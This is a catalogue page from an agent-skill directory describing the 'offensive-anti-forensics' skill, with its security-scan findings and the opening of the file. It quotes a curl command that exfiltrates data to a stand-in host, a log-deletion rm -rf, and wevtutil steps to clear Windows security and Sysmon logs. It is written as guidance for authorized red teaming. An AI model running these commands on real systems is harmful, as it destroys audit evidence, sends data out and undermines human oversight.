claude-red is a library of structured skills that give Claude specialized offensive-security methods for areas such as web vulnerabilities, shellcode, exploit development, and identity systems. It is intended for authorized red-team work, bug-bounty triage, security research, CTF preparation, and operator training. Its catalogue contains the project's skills for loading these security specializations into Claude.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add SnailSploit/Claude-Red --skill offensive-anti-forensicsgit clone --depth 1 https://github.com/SnailSploit/Claude-RedWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/snailsploit/claude-red/offensive-anti-forensics)<a href="https://agentmods.dev/skills/snailsploit/claude-red/offensive-anti-forensics"><img src="https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-anti-forensics.svg" alt="Measured on agentmods" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 9 findings, up to critical
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- critical YARA Match · line 207 YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).Fix: Remove the malware payload or compromised file entirely. Investigate how it entered the skill and audit all other artifacts for additional indicators of compromise.
- high Tool Misuse · line 140 Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
- high Tool Misuse · line 140 Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
- high Tool Misuse · line 180 Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
- high Tool Misuse · line 278 Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
- high Tool Misuse · line 335 Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
- high YARA Match · line 369 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
- medium Rogue Agent · line 248 Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.Fix: Remove any persistence mechanisms (cron jobs, startup scripts, state files). Skills should not maintain state across sessions without explicit user consent.
- medium Data Exfiltration · line 373 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00243 | $0.04880 |
| Opus 5 | $0.00121 | $0.02440 |
| Sonnet 5 | $0.00049 | $0.00976 |
| Haiku 4.5 | $0.00024 | $0.00488 |
Grade B, and why
offensive-anti-forensics scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -X POST -H "Content-Type: application/octet-stream" --data-binary @- https://exfil.example.com/upload Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Recursive force deletemediumDestructive command
rm -rf with a variable or a broad path is one typo away from removing the wrong tree.
rm -rf /var/log/journal/* Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -X POST -H "Content-Type: application/octet-stream" --data-binary @- https://exfil.example.com/upload How it starts
The opening of the file, as written. The whole thing — 468 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Offensive Anti-Forensics
Anti-forensics is the practice of manipulating, destroying, or preventing the creation of forensic artifacts during an engagement. As a red team operator, you treat every action as generating evidence -- logs, timestamps, memory structures, disk metadata, and network captures all tell a story. Your objective is to control that narrative. This skill covers the primary evidence categories you encounter on Windows and Linux targets, the techniques for manipulating each, and the defender view so you understand what a competent forensic analyst looks for when your cleanup is incomplete.
You operate under an authorization scope. Every technique here assumes you have written permission to execute these actions on target systems. Document what you clear and when -- your engagement report must account for artifacts you destroyed so the blue team can rebuild their detection baseline.
Quick Workflow
- Enumerate logging infrastructure before executing payloads -- identify what generates evidence.
- Disable or blind telemetry sources (ETW, Sysmon, auditd) at the earliest safe opportunity.
- Execute your operation with minimal footprint using in-memory techniques where possible.
- Manipulate timestamps on any files you touched to blend with surrounding filesystem activity.
- Clear or edit logs selectively -- wholesale deletion is noisier than surgical modification.
- Remove memory artifacts if you have reason to believe live forensics will occur.
- Validate your cleanup by checking the same artifacts a forensic analyst would examine.
Windows Event Log Clearing
Windows Event Logs are the primary evidence source on Windows targets. The Security, System, PowerShell, and Sysmon/Operational channels record authentication, process creation, and command execution events.
Wevtutil Approach
Clear specific channels rather than all logs to reduce the blast radius of your cleanup.
rem Clear Security log only
wevtutil cl Security
rem Clear specific channels relevant to your activity
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Microsoft-Windows-Sysmon/Operational"
wevtutil cl "Windows PowerShell"
rem Enumerate all logs to find non-obvious channels
wevtutil el | findstr /i "operational"
rem Export a log before clearing to preserve your own records
wevtutil epl Security C:\Windows\Temp\sec_backup.evtx
wevtutil cl Security
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 468 lines · 243 tokens per session scan B 000f9269cf32
offensive-anti-forensics is a skill published in the GitHub repository SnailSploit/Claude-Red (3,040 stars, last pushed 8d ago), licensed MIT. It adds 243 tokens to every session and 4,880 once invoked, about $0.0012 per session on Opus 5. A static security scan graded it B with 3 findings (sends data to an external url, recursive force delete, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
app-store-opportunity-research
Full-pipeline iOS App Store opportunity research. Discovers underserved niches, analyzes competitor gaps, estimates revenue, produces scored top-3 opportunity reports, and writes MVP PRDs — all through browser and web research. Use when the user wants to find profitable iOS app ideas, research App Store charts…
code-documenter
Expert documentation generator for coding projects. Analyzes codebases to create thorough, comprehensive documentation for developers and users. Supports incremental updates, multi-audience documentation, architecture decision records, and documentation health tracking. Works with any project type (APIs, CLIs, web…
paywall-pricing-optimizer
Design effective paywalls, structure subscription tiers, and optimize pricing for mobile apps. Covers monetization model selection, paywall screen design, pricing psychology, A/B testing strategy, and RevenueCat/StoreKit/Google Billing integration. Use when the user wants to monetize an app, design a paywall, choose…
ghost-writer
Produce first drafts that match a writer's authentic voice using their Voice DNA Document. Consumes DNA documents from writing-dna-discovery skill. Generates 2 meaningfully different drafts with headlines, confidence assessment, decision notes, and DNA refinement suggestions. Collaborative partner that evaluates…
app-store-listing-optimizer
Optimize iOS App Store and Google Play Store listings for maximum discoverability and conversion. Perform competitive keyword research, craft keyword-optimized titles/subtitles/descriptions, design screenshot sequences, and generate A/B test variants. Use when the user has a built app and needs to write or improve…
writing-orchestration
This skill should be used when orchestrating complex writing workflows with multiple phases. It provides two-agent orchestration patterns, the two-gate content readiness assessment, 10 baseline writing strategies, 20+ situational strategies, and quality checkpoints. Inspired by the Spiral Writing System.